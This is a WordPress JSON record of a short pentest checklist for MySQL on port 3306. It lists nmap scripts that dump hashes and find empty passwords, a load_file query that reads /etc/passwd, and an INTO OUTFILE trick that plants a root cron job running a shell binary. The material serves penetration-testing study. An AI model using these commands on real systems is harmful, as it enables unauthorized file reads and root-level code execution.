{"id":2137,"date":"2021-01-09T14:51:51","date_gmt":"2021-01-09T13:51:51","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2137"},"modified":"2021-01-09T14:51:51","modified_gmt":"2021-01-09T13:51:51","slug":"3306-mysql","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2137","title":{"rendered":"3306 MySQL"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Mandatory<\/h3>\n\n\n\n<ol class=\"wp-block-list\"><li>Try to con\u00adnect to the&nbsp;<span class=\"caps\">DB<\/span>.<\/li><li>Enu\u00admer\u00adate with nmap:<br><code>nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $target<\/code><\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Optional<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>If you have access to the&nbsp;<span class=\"caps\">DB<\/span>:<ul><li>Try to read local files:<br><code>SELECT load_file('\/etc\/passwd');<\/code><\/li><li>Try to write files:<br><code>CREATE TABLE bbb(content TEXT);<br>INSERT INTO bbb (content) VALUES (\"* * * * * root \/tmp\/shell_80.elf\");<br>SELECT * FROM bbb INTO OUTFILE '\/etc\/cron.d\/ex1';<\/code><\/li><\/ul><\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Enu\u00admer\u00ada\u00adtion Manda\u00adto\u00adry Try to con\u00adnect to the&nbsp;<span class=\"caps\">DB<\/span>. Enu\u00admer\u00adate with nmap:nmap \u2011sV \u2011p 3306 \u2013script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $tar\u00adget Option\u00adal If you have access to the&nbsp;<span class=\"caps\">DB<\/span>:&nbsp; Try to read local files:<span class=\"caps\">SELECT<\/span> load_file(\u2018\/etc\/passwd\u2019); Try to write files:<span class=\"caps\">CREATE<\/span> <span class=\"caps\">TABLE<\/span> bbb(content <span class=\"caps\">TEXT<\/span>);<span class=\"caps\">INSERT<\/span> <span class=\"caps\">INTO<\/span> bbb (con\u00adtent) <span class=\"caps\">VALUES<\/span> (\u201c* * * * * root \/tmp\/shell_80.elf\u201d);<span class=\"caps\">SELECT<\/span> * <span class=\"caps\">FROM<\/span> bbb <span class=\"caps\">INTO<\/span> <span class=\"caps\">OUTFILE<\/span> \u2018\/etc\/cron.d\/ex1\u2019;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[36],"tags":[37,79],"class_list":["post-2137","post","type-post","status-publish","format-standard","hentry","category-port","tag-checklist","tag-mysql"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2137"}],"version-history":[{"count":1,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2137\/revisions"}],"predecessor-version":[{"id":2138,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2137\/revisions\/2138"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2137"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}